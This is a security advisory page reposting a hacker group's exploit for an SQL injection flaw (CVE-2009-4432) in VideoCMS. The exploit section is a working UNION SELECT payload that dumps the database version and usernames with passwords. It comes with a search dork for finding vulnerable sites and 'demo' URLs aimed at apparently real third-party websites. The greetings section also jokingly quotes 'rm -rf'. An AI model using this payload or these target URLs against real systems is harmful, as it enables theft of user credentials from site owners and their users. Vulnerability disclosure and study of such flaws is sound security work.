|
 |
| SecurityReason | ||
| WLB | ||
| Services | ||
| RSS | ||
| Corporate | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
Home  SecurityAlert Database |
||||
SecurityAlert : 6885 CVE : CVE-2009-4432 CWE : CWE-89 SecurityRisk : Medium  (About) Remote Exploit : Yes Local Exploit : No Victim interaction required : No Exploit Available : Yes Credit : kaMtiEz Published : 30.12.2009
Advisory Content : ########################################################################### ######## # [~] VideoCMS SQL injection vulnerability - (id) # [~] Author : kaMtiEz (kamzcrew@gmail.com) # [~] Homepage : http://www.indonesiancoder.com # [~] Date : Desember 14, 2009 # # ########################################################################### ######## [ Software Information ] [+] Vendor : http://www.codemight.com/ [+] Download : - [+] version : 3.1 or lower maybe also affected [+] Vulnerability : SQL injection [+] Dork : "Think iT" [+] Price : dunno [+] Location : INDONESIA - JOGJA [+] description http://www.codemight.com/index.php?m=product&p=1 ########################################################################### ####### [ HERE WE GO .. LIVE FROM JOGJA CITY ] [ Vulnerable File ] http://127.0.0.1/[kaMtiEz]/index.php?m=video&v=[VALID-ID][SQL] [ Exploit ] /**/and/**/1=2/**/union/**/all/**/select/**/666,666,@@version,concat_ws(0x3 a,username,password),666,666,666/**/from/**/users-- [ Demo ] http://mysingaporetube.com/index.php?m=video&v=502/**/and/**/1=2/**/union/* */all/**/select/**/666,666,@@version,concat_ws(0x3a,username,password),666, 666,666/**/from/**/users-- http://www.codemight.com/videocms/index.php?m=video&v=23/**/and/**/1=2/**/u nion/**/all/**/select/**/666,666,@@version,concat_ws(0x3a,username,password ),666,666,666/**/from/**/users-- =========================================================================== [ Thx TO ] [+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink [+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry .. [+] Contrex,onthel,yasea,bugs,Ronz,Pathloader, [+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk [ NOTE ] [+] Nyak ama babe gua .. tak lupa adik gua .. [+] segelas vodka menemaniku setiap malam .. :P [+] Dengerin Radio yach di http://antisecradio.fm ok coy ? [ QUOTE ] [+] rm -rf [ EOF ] [+] INDONESIANOCODER TEAM [+] KILL -9 TEAM References : http://www.exploit-db.com/exploits/10586
http://secunia.com/advisories/37889
http://packetstormsecurity.org/0912-exploits/videocms-sql.txt  Feedback : If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com. |
||||
| Alert | ||
Allow attacker to denial of service apache 2.2.17 server |
||
| Apache |  |
|
| PHP | |
|
» libzip 0.9.3 |
||
| ADT | ||
Protect your family and valuables with Home Security Systems |
||
- 2011-05-13| Copyright © SecurityReason.com. All Rights Reserved. |